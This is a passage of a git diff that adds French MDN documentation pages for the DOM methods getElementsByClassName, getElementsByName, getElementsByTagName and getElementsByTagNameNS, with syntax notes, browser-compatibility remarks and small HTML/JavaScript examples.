+ <li><span id="result_box" lang="fr"><span>getElementsByClassName peut être appelé sur n'importe quel élément, pas seulement sur le document.</span> <span>L'élément sur lequel il est appelé sera utilisé comme racine de la recherche.</span></span></li>
+</ul>
+
+<h2 id="Exemples" name="Exemples">Exemples</h2>
+
+<p>Trouve tous les éléments ayant la classe « test » :</p>
+
+<pre class="eval"> document.getElementsByClassName('test')
+</pre>
+
+<p>Trouve tous les éléments ayant les classes « rouge » et « test » :</p>
+
+<pre class="eval"> document.getElementsByClassName('rouge test')
+</pre>
+
+<p>Trouve tous les éléments qui ont la classe « test » à l'intérieur d'un élément ayant l'ID « main » :</p>
+
+<pre class="eval"> document.getElementById('main').getElementsByClassName('test')
+</pre>
+
+<p><span id="result_box" lang="fr"><span>Nous pouvons également utiliser les méthodes de Array.prototype sur toute {{domxref ("HTMLCollection")}} en passant HTMLCollection comme valeur de la méthode.</span> <span>Ici, nous allons trouver tous les éléments div qui ont une classe de 'test':</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> testElements <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByClassName</span><span class="punctuation token">(</span><span class="string token">'test'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> testDivs <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>filter<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>testElements<span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>testElement<span class="punctuation token">)</span><span class="punctuation token">{</span>
+    <span class="keyword token">return</span> testElement<span class="punctuation token">.</span>nodeName <span class="operator token">===</span> <span class="string token">'DIV'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><span class="comment">XXX writeme == Notes == Une méthode semblable existe pour &lt;code&gt;Element&lt;/code&gt;</span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification"><span class="short_text" id="result_box" lang="fr"><span>Obtenir la classe  des éléments test</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>C'est la méthode d'opération la plus couramment utilisée</span></span>.</p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>!doctype</span> <span class="attr-name token">html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Document<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>parent-id<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>hello word1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>hello word2<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="punctuation token">&gt;</span></span>hello word3<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+        <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>hello word4<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+        <span class="keyword token">var</span> parentDOM <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"parent-id"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+        <span class="keyword token">var</span> test<span class="operator token">=</span>parentDOM<span class="punctuation token">.</span><span class="function token">getElementsByClassName</span><span class="punctuation token">(</span><span class="string token">"test"</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token">//test is not target element</span>
+        console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>test<span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token">//HTMLCollection[1]</span>
+
+        <span class="keyword token">var</span> testTarget<span class="operator token">=</span>parentDOM<span class="punctuation token">.</span><span class="function token">getElementsByClassName</span><span class="punctuation token">(</span><span class="string token">"test"</span><span class="punctuation token">)</span><span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span><span class="comment token">//here , this element is target</span>
+        console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>testTarget<span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token">//&lt;p class="test"&gt;hello word2&lt;/p&gt;</span>
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+<p>{{Compat("api.Document.getElementsByClassName")}}</p>
+
+
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external external-icon">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/fr/web/api/document/getelementsbyname/index.html b/files/fr/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..c8136c8de7
--- /dev/null
+++ b/files/fr/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,86 @@
+---
+title: document.getElementsByName()
+slug: Web/API/Document/getElementsByName
+tags:
+  - API
+  - DOM
+  - Document
+  - HTML
+  - Méthodes
+translation_of: Web/API/Document/getElementsByName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Renvoie une liste des éléments portant un {{domxref("element.name","name")}} donné dans le document (X)HTML.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>elements</em> = document.getElementsByName(<em>name</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> est une collection de {{domxref("NodeList")}}</li>
+ <li><code>name</code> est la valeur de l'attribut <code>name</code> des éléments.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+ ...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>up<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>down<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">var</span> up_forms <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByName</span><span class="punctuation token">(</span><span class="string token">"up"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>up_forms<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>tagName<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// retourne "FORM"</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><span id="result_box" lang="fr"><span>L'attribut <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Element/name">name</a></code> est uniquement applicable aux documents (X) HTML.</span> <span>La méthode renvoie une collection </span></span> {{domxref("NodeList")}} <span lang="fr"><span> en cours qui contient tous les éléments avec une valeur donnée pour l'attribut name, tels que </span></span> {{htmlelement("meta")}} <span lang="fr"><span> ou </span></span> {{htmlelement("object")}} <span lang="fr"><span> ou même si le nom est placé sur des éléments qui ne supportent pas du tout un attribut <code>name</code>.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>La méthode <strong>getElementsByName</strong> fonctionne différemment dans différents navigateurs.</span> <span>Dans IE &lt;10, la méthode getElementsByName () renvoie également les éléments qui ont un attribut id avec la valeur spécifiée.</span> <span>Vous devriez donc faire attention à ne pas utiliser la même chaîne pour le nom et l'identifiant.</span></span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-71555259">DOM Level 2 HTML : getElementsByName</a> — <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-71555259">traduction en français</a> (non normative)</li>
+ <li><a href="http://www.whatwg.org/html/#dom-document-getelementsbyname" title="http://www.whatwg.org/html/">HTML5 : getElementsByName</a></li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.getElementById()")}} pour retourner une référence à un élément par son ID</li>
+ <li>{{domxref("document.getElementsByTagName()")}} pour renvoyer les références sur les éléments avec la balise de nom donnée</li>
+ <li>{{domxref("document.querySelector()")}} pour des sélecteurs par des requêtes comme <code>'div.myclass'</code></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/document/getelementsbytagname/index.html b/files/fr/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..268a5a6453
--- /dev/null
+++ b/files/fr/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,113 @@
+---
+title: document.getElementsByTagName
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Elements
+  - Méthodes
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><span id="result_box" lang="fr"><span>Renvoie une {{domxref ("HTMLCollection")}} des éléments avec le nom de balise donné.</span> <span>Le document complet est recherché, y compris le nœud racine.</span> <span>Le <code>HTMLCollection</code> renvoyée est en direct, ce qui signifie qu'elle se met à jour automatiquement pour rester synchronisée avec l'arborescence DOM sans avoir à rappeler document.getElementsByTagName ().</span></span></p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
+
+<ul>
+ <li><code>elements</code> est une liste de nœuds (<code>NodeList</code>) des éléments trouvés dans l'ordre dans lequel ils apparaissent dans l'arbre.</li>
+ <li><code>nom</code> est une chaîne représentant le nom des éléments. La chaîne spéciale <code>"*"</code> représente « tous les éléments ».</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://dom.spec.whatwg.org/">La dernière spécification W3C</a> dit que  <code>elements</code> est une   <code>HTMLCollection</code> ; cependant cette méthode renvoie une  {{domxref("NodeList")}} dans les navigateurs WebKit. Voir  {{bug(14869)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p><span id="result_box" lang="fr"><span>Dans l'exemple suivant, <code>getElementsByTagName()</code> commence à partir d'un élément parent particulier et effectue une recherche descendante récursive dans le DOM à partir de cet élément parent, en créant une collection de tous les éléments descendants qui correspondent au paramètre de <code>name</code>.</span> <span>Cela démontre à la fois <code>document.getElementsByTagName()</code> et son homologue {{domxref ("Element.getElementsByTagName ()")}}, qui lance la recherche sur un élément spécifique dans l'arbre DOM.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Cliquer sur les boutons utilise <code>getElementsByTagName()</code> pour compter les éléments de paragraphe descendant d'un parent particulier (le document lui-même ou l'un des éléments {{HTMLElement ("div")}} imbriqués).</span></span></p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>getElementsByTagName example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+    <span class="keyword token">function</span> <span class="function token">getAllParaElems</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> allParas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> num <span class="operator token">=</span> allParas<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+      <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'There are '</span> <span class="operator token">+</span> num <span class="operator token">+</span> <span class="string token">' paragraph in this document'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    <span class="keyword token">function</span> <span class="function token">div1ParaElems</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> div1 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'div1'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> div1Paras <span class="operator token">=</span> div1<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> num <span class="operator token">=</span> div1Paras<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+      <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'There are '</span> <span class="operator token">+</span> num <span class="operator token">+</span> <span class="string token">' paragraph in #div1'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    <span class="keyword token">function</span> <span class="function token">div2ParaElems</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> div2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'div2'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> div2Paras <span class="operator token">=</span> div2<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> num <span class="operator token">=</span> div2Paras<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+      <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">'There are '</span> <span class="operator token">+</span> num <span class="operator token">+</span> <span class="string token">' paragraph in #div2'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">border</span><span class="punctuation token">:</span> solid green <span class="number token">3</span>px</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some outer text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some outer text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div1<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">border</span><span class="punctuation token">:</span> solid blue <span class="number token">3</span>px</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some div1 text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some div1 text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some div1 text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div2<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">border</span><span class="punctuation token">:</span> solid red <span class="number token">3</span>px</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some div2 text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some div2 text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some outer text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some outer text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>getAllParaElems();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    show all p elements in document<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span> <span class="punctuation token">/&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div1ParaElems();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    show all p elements in div1 element<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>br</span> <span class="punctuation token">/&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div2ParaElems();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    show all p elements in div2 element<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Notes</h2>
+
+<p><span id="result_box" lang="fr"><span>Lorsqu'elle est appelée sur un document HTML, <code>getElementsByTagName()</code> classe son argument avant de continuer.</span> <span>Cela n'est pas souhaitable lorsque vous essayez de faire correspondre des éléments camelCase SVG dans un sous-arbre dans un document HTML.</span> <span>{{Domxref ("document.getElementsByTagNameNS ()")}} est utile dans ce cas.</span> <span>Voir aussi {{Bug (499656)}}.</span><br>
+ <br>
+ <span><code>document.getElementsByTagName()</code> est similaire à {{domxref ("element.getElementsByTagName ()")}}, sauf que sa recherche englobe tout le document.</span></span></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core : getElementsByTagName</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-A6C9094">traduction</a> (non normative)</small></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.getElementsByTagName()")}}</li>
+ <li>{{domxref("document.getElementById()")}} pour renvoyer une référence à un élément par son <code>id</code> (<em>identifiant</em>)</li>
+ <li>{{domxref("document.getElementsByName()")}} pour renvoyer une référence à un élément par son <code>name</code> (<em>nom</em>)</li>
+ <li>{{domxref("document.querySelector()")}} pour les sélecteurs puissants via des requêtes comme <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/fr/web/api/document/getelementsbytagnamens/index.html b/files/fr/web/api/document/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..537bc24875
--- /dev/null
+++ b/files/fr/web/api/document/getelementsbytagnamens/index.html
@@ -0,0 +1,136 @@
+---
+title: Document.getElementsByTagNameNS()
+slug: Web/API/Document/getElementsByTagNameNS
+tags:
+  - API
+  - DOM
+  - Elements
+  - Méthodes
+  - Nom
+  - XPath
+translation_of: Web/API/Document/getElementsByTagNameNS
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{ fx_minversion_note("3.6","Voir la <a href='\"/en/DOM/element.getElementsByTagNameNS#Notes\"'>section Notes de element.getElementsByTagNameNS</a> pour les changements qui s'appliquent aussi à cet API dans Firefox 3.6.") }}</p>
+
+<p>Renvoie une liste d'éléments avec la balise de nom donnée appartenant à l'espace de noms donné. Le document complet est recherché, y compris le noeud racine.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>elements</em> = document.getElementsByTagNameNS(<em>namespace</em>,<em>name</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> est une {{domxref("NodeList")}} (<em>liste de noeud</em>) directe (mais voir le note ci-dessous) d'éléments trouvés dans l'ordre de leur apparition dans l'arbre.</li>
+ <li><code>namespace</code> l'URI d'espace de noms des éléments à rechercher (voir <code><a href="/en/DOM/Node.namespaceURI" title="En/DOM/Node.namespaceURI">element.namespaceURI</a></code>).</li>
+ <li><code>name</code> est, soit le nom local des éléments à rechercher, soit la valeur spéciale <code>"*"</code> pour tous les éléments (voir <code><a href="/en/DOM/Node.localName" title="En/DOM/Node.localName">element.localName</a></code>).</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Tandis que la spécification W3C indique que les <code>elements</code> sont des <code>NodeList</code>, cette méthode renvoie une {{domxref("HTMLCollection")}} dans Gecko et Internet Explorer. Opera retourne une <code>NodeList</code>, mais avec une méthode implémentée <code>namedItem</code>, ce qui la rend similaire à une <code>HTMLCollection</code>. À partir de Janvier 2012, dans les navigateurs WebKit seulement, la valeur retournée est une pure <code>NodeList</code>. Voir <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869" title="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> pour plus de détails.</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Dans l'exemple suivant, <code>getElementsByTagNameNS</code> commence à partir d'un élément parent particulier et cherche dans le DOM récursivement de haut en bas à partir de cet élément parent, les éléments enfants correspondant au paramètre <code>name</code> de la balise.</p>
+
